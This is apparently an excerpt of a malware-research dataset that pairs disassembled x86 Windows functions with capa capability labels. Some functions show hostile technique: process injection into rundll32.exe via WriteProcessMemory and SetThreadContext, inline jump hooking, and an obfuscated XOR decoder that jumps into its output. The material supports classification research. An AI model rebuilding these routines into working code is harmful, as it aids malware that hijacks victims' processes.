joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002b6ae
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
mov eax, dword [0x100c2004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
xor eax, eax
push esi
inc ebx
mov dword [ebp - 0x2d4], eax
and dword [ebp - 0x2dc], eax
push edi
mov edi, ecx
mov dword [ebp - 0x2d8], ebx
jmp 0x1002b6e5
mov eax, dword [ebp - 0x2d4]
lea ecx, [ebp - 0x2e0]
push ecx
push 0
push 0
push 0x5a
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x100c4be4]
cmp dword [ebp - 0x2dc], 0
mov esi, eax
je 0x1002b718
mov edx, dword [ebp - 0x2d4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
js 0x1002b814
mov eax, dword [ebp - 0x2e0]
push eax
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 0x2dc], 1
call dword [sym.imp.KERNEL32.dll_GetThreadId]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp esi, eax
mov eax, dword [ebp - 0x2d4]
je 0x1002b6e5
mov edx, eax
push edx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1002b6df
xor ecx, ecx
mov dword [ebp - 0x2dc], ecx
cmp dword [edi], ecx
jne 0x1002b795
push 0x200
push ecx
push dword [0x100c4be0]
mov dword [edi + 4], pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [edi], eax
lea esi, [edi + 8]
neg eax
sbb eax, eax
and ebx, eax
mov dword [ebp - 0x2d8], ebx
jmp 0x1002b7bd
mov eax, dword [edi + 4]
lea esi, [edi + 8]
cmp dword [esi], eax
jb 0x1002b7bd
add eax, eax
mov dword [edi + 4], eax
shl eax, 2
push eax
push dword [edi]
push ecx
push dword [0x100c4be0]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x1002b7f2
mov dword [edi], eax
test ebx, ebx
je 0x1002b7fa
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x2d0], 0x10001
push eax
push dword [ebp - 0x2d4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov ecx, dword [esi]
mov eax, dword [edi]
mov edx, dword [ebp - 0x2d4]
mov dword [eax + ecx*4], edx
inc dword [esi]
jmp 0x1002b6df
xor ebx, ebx
mov dword [ebp - 0x2d8], ebx
push dword [ebp - 0x2d4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x2d4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1002b82d
sub esi, 0x8000001a
neg esi
sbb esi, esi
not esi
and ebx, esi
lea esi, [edi + 8]
mov dword [ebp - 0x2d8], ebx
jne 0x1002b86c
cmp dword [edi], 0
je 0x1002b86c
xor ebx, ebx
cmp dword [esi], ebx
jbe 0x1002b853
mov eax, dword [edi]
push dword [eax + ebx*4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [edi]
push dword [eax + ebx*4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [esi]
jb 0x1002b838
push dword [edi]
push 0
push dword [0x100c4be0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
and dword [edi], 0
mov ebx, dword [ebp - 0x2d8]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1002db4b
leave
ret
Function at 0x1002b8ad
Capabilities:
Resume thread

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x1002b8ea
push edi
xor edi, edi
cmp dword [esi + 8], edi
jbe 0x1002b8d9
mov eax, dword [esi]
push dword [eax + edi*4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [esi]
push dword [eax + edi*4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [esi + 8]
jb 0x1002b8bd
push dword [esi]
push 0
push dword [0x100c4be0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
ret

Function at 0x1002b98f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov edx, dword [ebp + 8]
push ebx
push esi
imul esi, edx, 0x30
push edi
mov edi, dword [ebp + 0xc]
add esi, dword [0x100c4bf0]
mov dword [ebp - 0xc], esi
mov ebx, dword [esi + 4]
test edi, edi
je 0x1002b9c3
mov ecx, edx
call fcn.1002b8ec
test eax, eax
jne 0x1002bad3
mov edx, dword [ebp + 8]
mov al, byte [esi + 0x18]
and al, 1
je 0x1002b9cd
sub ebx, 5
movzx eax, al
lea eax, [eax*2 + 5]
mov dword [ebp - 4], eax
test edi, edi
jne 0x1002ba0c
cmp byte [ebx], 0xe9
jne 0x1002ba0c
mov ecx, dword [ebx + 1]
lea eax, [ecx - 3]
add eax, ebx
cmp dword [esi + 0xc], eax
je 0x1002ba09
push dword [ebp + 0x10]
push fcn.1002b98f
push edx
push dword [esi + 4]
push dword [ecx + ebx + 1]
call dword [ecx + ebx - 3]
jmp 0x1002bad3
mov eax, dword [ebp - 4]
lea ecx, [ebp - 8]
push ecx
push 0x40
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1002ba26
push 0xa
pop eax
jmp 0x1002bad3
test edi, edi
je 0x1002ba48
mov byte [ebx], 0xe9
mov eax, dword [esi + 0xc]
sub eax, ebx
add eax, 3
mov dword [ebx + 1], eax
test byte [esi + 0x18], 1
je 0x1002ba6a
mov eax, dword [esi + 4]
mov word [eax], 0xf9eb
jmp 0x1002ba6a
test byte [esi + 0x18], 1
je 0x1002ba5f
lea esi, [esi + 0x10]
mov edi, ebx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp + 0xc]
jmp 0x1002ba6a
mov eax, dword [esi + 0x10]
mov dword [ebx], eax
mov al, byte [esi + 0x14]
mov byte [ebx + 4], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov eax, dword [ebp + 0x10]
xor ebx, ebx
cmp dword [eax], ebx
je 0x1002bab4
cmp dword [eax + 8], ebx
jbe 0x1002bab4
mov esi, eax
mov ecx, dword [esi]
mov edx, dword [ebp + 8]
push edi
mov ecx, dword [ecx + ebx*4]
call fcn.1002b3f2
inc ebx
pop ecx
cmp ebx, dword [esi + 8]
jb 0x1002ba9c
mov esi, dword [ebp - 0xc]
mov edx, dword [ebp + 0xc]
mov cl, byte [esi + 0x18]
and dl, 1
mov al, dl
and cl, 0xfd
add al, al
shl dl, 2
or cl, al
and cl, 0xfb
or cl, dl
xor eax, eax
mov byte [esi + 0x18], cl
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x1002c339
Capabilities:
Allocate or change rwx memory

Disassembly:
mov edx, dword [0x100c4bdc]
push esi
xor esi, esi
jmp 0x1002c34b
cmp dword [edx + 4], esi
jne 0x1002c39f
mov edx, dword [edx]
test edx, edx
jne 0x1002c344
push 0x40
push 0x3000
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, eax
test edx, edx
je 0x1002c39b
push edi
push 0x40
lea ecx, [edx + 0x40]
mov dword [edx + 8], esi
pop edi
mov dword [ecx], esi
mov eax, ecx
mov dword [edx + 4], ecx
add edi, 0x40
add ecx, 0x40
mov esi, eax
cmp edi, 0xfc0
jbe 0x1002c372
mov eax, dword [0x100c4bdc]
mov dword [edx], eax
mov dword [0x100c4bdc], edx
pop edi
test edx, edx
jne 0x1002c39f
xor eax, eax
pop esi
ret
mov eax, dword [edx + 4]
pop esi
mov ecx, dword [eax]
inc dword [edx + 8]
mov dword [edx + 4], ecx
ret

Function at 0x1002d43d
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.1002d419
pop esi
leave
ret 8

Function at 0x10040440
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1004046d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1004046d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x1401fb0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x140b0f8
push 0x1407858
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov edi, dword [ebp + 8]
test edi, edi
je 0x1402149
mov ebx, dword [ebp + 0xc]
test ebx, ebx
je 0x1402149
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x1402149
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x1402149
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], edi
push 0x40
push edi
push ebx
push edi
call fcn.01401f70
add esp, 0x10
test eax, eax
je 0x1402142
cmp word [edi], 0x5a4d
jne 0x1402142
mov eax, dword [edi + 0x3c]
lea esi, [eax + edi]
cmp edi, esi
ja 0x1402142
cmp eax, 0x7fffffff
jg 0x1402142
mov dword [ebp - 0x1c], esi
push 4
push esi
push ebx
push edi
call fcn.01401f70
add esp, 0x10
test eax, eax
je 0x1402142
cmp dword [esi], 0x4550
jne 0x1402142
push 0x14
lea eax, [esi + 4]
push eax
push ebx
push edi
call fcn.01401f70
add esp, 0x10
test eax, eax
je 0x1402142
cmp word [esi + 6], 0x3e8
ja 0x1402142
test byte [esi + 0x16], 2
je 0x1402142
xor eax, eax
mov ax, word [esi + 0x14]
sub eax, 0xe0
je 0x14020cf
sub eax, 0x10
jne 0x1402142
mov dword [ebp - 0x20], esi
push 0xf0
lea ecx, [esi + 0x18]
push ecx
push ebx
push edi
call fcn.01401f70
add esp, 0x10
test eax, eax
je 0x1402142
add esi, 0x98
jmp 0x14020ec
push 0xe0
lea edx, [esi + 0x18]
push edx
push ebx
push edi
call fcn.01401f70
add esp, 0x10
test eax, eax
je 0x1402142
add esi, 0x88
mov dword [ebp - 0x28], esi
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x1402142
mov eax, dword [esi]
test eax, eax
je 0x1402142
push ecx
push eax
push ebx
push 0
call fcn.01401f70
add esp, 0x10
test eax, eax
je 0x1402142
mov eax, dword [esi]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov edx, dword [esi + 4]
mov eax, dword [ebp + 0x14]
mov dword [eax], edx
mov dword [ebp - 4], 0xffffffff
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x14024f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x140b128
push 0x1407858
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov esi, dword [ebp + 8]
test esi, esi
je 0x1402624
mov ebx, dword [ebp + 0xc]
test ebx, ebx
je 0x1402624
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x1402624
mov dword [ebp - 4], 0
mov dword [eax], 0
mov dword [ebp - 0x24], esi
push 0x40
push esi
push ebx
push esi
call fcn.01401f70
add esp, 0x10
test eax, eax
je 0x140261d
cmp word [esi], 0x5a4d
jne 0x140261d
mov eax, dword [esi + 0x3c]
lea edi, [eax + esi]
cmp esi, edi
ja 0x140261d
cmp eax, 0x7fffffff
jg 0x140261d
mov dword [ebp - 0x1c], edi
push 4
push edi
push ebx
push esi
call fcn.01401f70
add esp, 0x10
test eax, eax
je 0x140261d
cmp dword [edi], 0x4550
jne 0x140261d
push 0x14
lea eax, [edi + 4]
push eax
push ebx
push esi
call fcn.01401f70
add esp, 0x10
test eax, eax
je 0x140261d
test byte [edi + 0x16], 2
je 0x140261d
xor eax, eax
mov ax, word [edi + 0x14]
sub eax, 0xe0
je 0x14025fb
sub eax, 0x10
jne 0x140261d
mov dword [ebp - 0x20], edi
push 0xf0
jmp 0x1402600
mov edx, dword [edi + 0x50]
mov eax, dword [ebp + 0x10]
mov dword [eax], edx
mov dword [ebp - 4], 0xffffffff
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0xe0
lea ecx, [edi + 0x18]
push ecx
push ebx
push esi
call fcn.01401f70
add esp, 0x10
test eax, eax
jne 0x14025d6
jmp 0x140261d
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x32c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
jne 0x10001189
push ebx
push esi
push edi
push 0
push 0
push str.Dll_1_load__succeed_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov esi, dword [0x100020f0]
mov di, word [0x100020f4]
mov bl, byte [0x100020f6]
push 0x40
push 0x3000
push 7
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x2d8], eax
xorps xmm0, xmm0
mov dword [eax], esi
mov word [eax + 4], di
mov byte [eax + 6], bl
lea eax, [ebp - 0x2e8]
push eax
lea eax, [ebp - 0x32c]
mov dword [ebp - 0x2d4], 0
push eax
push 0
push 0
push 0x44
push 0
push 0
push 0
push str.rundll32.exe
push 0
movlpd qword [ebp - 0x328], xmm0
movlpd qword [ebp - 0x320], xmm0
movlpd qword [ebp - 0x318], xmm0
movlpd qword [ebp - 0x310], xmm0
movlpd qword [ebp - 0x308], xmm0
movlpd qword [ebp - 0x300], xmm0
movlpd qword [ebp - 0x2f8], xmm0
movlpd qword [ebp - 0x2f0], xmm0
mov dword [ebp - 0x32c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10001177
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x2d0], 0x10003
push eax
push dword [ebp - 0x2e4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0x40
push 0x1000
push 7
push 0
push dword [ebp - 0x2e8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
lea eax, [ebp - 0x2d4]
push eax
push 7
push dword [ebp - 0x2d8]
push esi
push dword [ebp - 0x2e8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x218], esi
push eax
push dword [ebp - 0x2e4]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x2e4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x2e4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x2e8]
call esi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call sym.Project1.dll_curl_easy_cleanup
mov esp, ebp
pop ebp
ret 0xc
Function at 0x425894
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x4258a3
pop dword [ebp - 0x24]
mov eax, 0x4258a3
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x91a94
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0xfff7681c
sub ecx, 0xfff71620
mov edi, eax
mov edx, 0xad8546c0
sub edx, 0xad28a2c0
add edx, dword [ebp - 0x24]
mov esi, 0xd0c798f5
sub esi, 0xc777bcf1
mov ebx, dword [edx]
xor dword [ebp - 4], 0x6a6d0a72
xor ebx, esi
sub dword [ebp - 0x1c], esi
mov dword [edi], ebx
sub dword [ebp - 0x20], edx
add edi, 0x3a22a8c4
add edi, 0xc5dd5740
add edx, 0x42fbd407
add edx, 0xbd042bfd
loop 0x4258f8
add eax, 0x13ac3
mov ebx, eax
add eax, 0x62f5cdca
sub eax, 0x62f5cdc5
mov ecx, 0x67041d79
sub ecx, 0x66c41d79
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x4cb795
Capabilities:
Get file system object information

Disassembly:
push 0x4c8
mov eax, 0x549689
call fcn.00528c47
mov ebx, ecx
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call main
pop ecx
lea esi, [eax + 0x10]
mov dword [ebp - 0x4d0], esi
and dword [ebp - 4], 0
lea ecx, [ebp - 0x4d0]
push 0
push 0x552bc8
call main
cmp eax, 0xffffffff
jne 0x4cb849
push 0
push 0x55a858
lea ecx, [ebp - 0x4d0]
call main
cmp eax, 0xffffffff
jne 0x4cb849
push 0
push 0x554a24
lea ecx, [ebp - 0x4d0]
call main
cmp eax, 0xffffffff
jne 0x4cb849
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call main
pop ecx
lea edi, [eax + 0x10]
mov dword [ebp - 0x4d4], edi
xor ecx, ecx
mov byte [ebp - 4], 1
push ecx
lea eax, [ebp - 0x218]
push eax
push 0x104
push ecx
push edi
push ecx
call dword [sym.imp.kernel32.dll_SearchPathW]
test eax, eax
jne 0x4cb825
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x14]
lea ecx, [edi - 0x10]
mov ebx, eax
call fcn.00401fd0
jmp 0x4cb878
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x4d0]
call main
lea ecx, [edi - 0x10]
mov byte [ebp - 4], 0
call fcn.00401fd0
mov esi, dword [ebp - 0x4d0]
push 0x105
push 0x2b4
lea eax, [ebp - 0x4cc]
push eax
push 0
push esi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
test eax, eax
je 0x4cb86f
mov ebx, dword [ebp - 0x4cc]
jmp 0x4cb878
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x14]
mov ebx, eax
lea ecx, [esi - 0x10]
call fcn.00401fd0
mov eax, ebx
call fcn.00528bf6
ret
Function at 0x100011a0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov dword [ebp - 4], 0
cmp dword [0x1008b9dc], 0x40
jae 0x10001302
mov eax, dword [ebp + 0xc]
add eax, dword [ebp + 8]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x80000000
jae 0x100011d5
mov dword [ebp - 0x58], 1
jmp 0x100011e1
mov ecx, dword [ebp - 8]
sub ecx, 0x7fff0000
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x58]
mov dword [ebp - 8], edx
mov eax, dword [ebp + 0x14]
add eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x80000000
jae 0x10001207
mov ecx, dword [ebp - 0xc]
add ecx, 0x7ff80000
mov dword [ebp - 0x5c], ecx
jmp 0x1000120e
mov dword [ebp - 0x5c], 0xfff80000
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x30], 0
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 8]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0xc]
jae 0x100012b9
push 0x1c
lea ecx, [ebp - 0x50]
push ecx
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10001263
jmp 0x100012b9
cmp dword [ebp - 0x40], 0x10000
jne 0x100012ae
cmp dword [ebp - 0x44], 0x6c
jb 0x100012ae
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x14]
jb 0x100012ae
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x34]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0x14]
imul eax, dword [ebp - 0x14]
mov dword [ebp - 0x34], eax
push 0x20
push 0x3000
push 0x6c
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100012ae
jmp 0x100012b9
mov ecx, dword [ebp - 0x50]
add ecx, dword [ebp - 0x44]
mov dword [ebp - 0x34], ecx
jmp 0x10001245
cmp dword [ebp - 4], 0
je 0x10001302
mov dword [ebp - 0x54], 0
jmp 0x100012d1
mov edx, dword [ebp - 0x54]
add edx, 1
mov dword [ebp - 0x54], edx
cmp dword [ebp - 0x54], 0x40
jae 0x10001302
mov eax, dword [ebp - 0x54]
cmp dword [eax*4 + 0x1008b8d8], 0
jne 0x10001300
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 4]
mov dword [ecx*4 + 0x1008b8d8], edx
mov eax, dword [0x1008b9dc]
add eax, 1
mov dword [0x1008b9dc], eax
jmp 0x10001302
jmp 0x100012c8
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x100013d0
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e8
mov eax, dword [0x10059248]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x100014e3
cmp dword [ebp - 4], 0
je 0x100014e3
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x100014d2
mov dword [ebp - 0x2e0], 0x10001
mov dword [ebp - 0x2e4], 0
lea edx, [ebp - 0x2e0]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x100014d0
mov ecx, dword [ebp - 0x228]
mov dword [ebp - 0x2e8], ecx
mov edx, dword [ebp - 0x2e8]
cmp edx, dword [ebp + 0xc]
jb 0x100014c9
mov eax, dword [ebp + 0xc]
add eax, dword [ebp + 0x10]
cmp dword [ebp - 0x2e8], eax
jae 0x100014c9
cmp dword [ebp - 0x2e4], 3
jge 0x100014aa
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov eax, dword [ebp - 0x2e4]
add eax, 1
mov dword [ebp - 0x2e4], eax
jmp 0x100014c7
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0
jmp 0x100014d0
jmp 0x100014cb
jmp 0x100014d0
jmp 0x10001436
jmp 0x100014e3
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.1002c620
mov esp, ebp
pop ebp
ret

Function at 0x10001500
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebp - 4], eax
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [ebp - 8], 0
jmp 0x10001537
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [0x1008b9e4]
jae 0x10001568
mov edx, dword [ebp - 8]
mov eax, dword [0x1008b9e0]
mov ecx, dword [eax + edx*4]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [ebp - 8]
mov eax, dword [0x1008b9e0]
mov ecx, dword [eax + edx*4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000152e
mov edx, dword [0x1008b9e0]
push edx
call fcn.1002ceea
add esp, 4
mov dword [0x1008b9e0], 0
mov dword [0x1008b9e4], 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov esp, ebp
pop ebp
ret
Function at 0x10001c50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
call fcn.10001000
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.10001310
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10001d59
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
push edx
call fcn.100015a0
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0x40
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x10001d54
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], 0
jmp 0x10001ce1
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [eax + 4]
jae 0x10001cff
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x18]
mov cl, byte [eax + 0x4c]
mov byte [edx], cl
jmp 0x10001cd8
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov dword [edx], ecx
mov dword [ebp - 4], 1
push 0
mov edx, dword [ebp - 8]
push edx
call fcn.10001360
add esp, 8
call fcn.10001500
call fcn.10001050
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x10023780
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 2
jne 0x10023795
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x100237af
mov ecx, dword [ebp + 8]
push ecx
push 0x1004b240
call fcn.1002c771
add eax, 0x40
push eax
call fcn.1002c65b
add esp, 0xc
pop ebp
ret

Function at 0x10024060
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 2
jne 0x10024075
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x1002408f
mov ecx, dword [ebp + 8]
push ecx
push 0x1004bbb0
call fcn.1002c771
add eax, 0x40
push eax
call fcn.1002c65b
add esp, 0xc
